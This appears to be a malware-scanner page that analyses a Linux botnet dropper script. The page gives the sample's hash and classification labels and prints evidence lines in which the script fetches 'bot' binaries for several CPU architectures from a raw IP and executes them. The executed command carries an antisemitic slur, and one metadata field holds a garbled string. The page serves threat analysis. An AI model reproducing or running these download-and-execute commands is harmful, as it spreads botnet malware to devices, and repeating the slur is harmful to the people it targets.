Hostile 100% linux Download

s

Multi-arch botnet dropper

Raw-IP multi-architecture native payload loaderRaw-IP repeated native payload download and execution
SHA-256e84ad3e9937a39e39b732432caea51739809b99db62c9f3b7510f0164c4d259d
URLhttps://mb-api.abuse.ch/api/v1/
MaleculeO(C₂)H₄(F₃Cm₇Os₂Po)

Evidence

Raw-IP multi-architecture native payload loader lines 1–6
1#!/bin/bash
2cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.151.182.200/bot.x86; curl -O http://46.151.182.200/bot.x86;cat bot.x86 >WTF;chmod +x *;./WTF JEWS
3cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.151.182.200/bot.mips; curl -O http://46.151.182.200/bot.mips;cat bot.mips >WTF;chmod +x *;./WTF JEWS
4cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.151.182.200/bot.arc; curl -O http://46.151.182.200/bot.arc;cat bot.arc >WTF;chmod +x *;./WTF JEWS
5cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.151.182.200/bot.i468; curl -O http://46.151.182.200/bot.i468;cat bot.i468 >WTF;chmod +x *;./WTF JEWS
6cd /tm …
References multiple CPU architecture names lines 6–8
6:23… || cd /mnt || cd /root || cd /; wget http://46.151.182.200/bot.i686; curl -O http://46.151.182.200/bot.i686;cat bot.i686 >WTF;chmod +x *;./WTF JEWS
7cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.151.182.200/bot.x86_64; curl -O http://46.151.182.200/bot.x86_64;cat bot.x86_64 >WTF;chmod +x *;./WTF JEWS
8cd /tmp || cd /var/run || cd /mnt || cd /ro …
Script targets multiple CPU architectures lines 9–10
9:23… || cd /mnt || cd /root || cd /; wget http://46.151.182.200/bot.arm; curl -O http://46.151.182.200/bot.arm;cat bot.arm >WTF;chmod +x *;./WTF JEWS
10cd /tmp || cd /var/run || cd /mnt || cd /root || …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.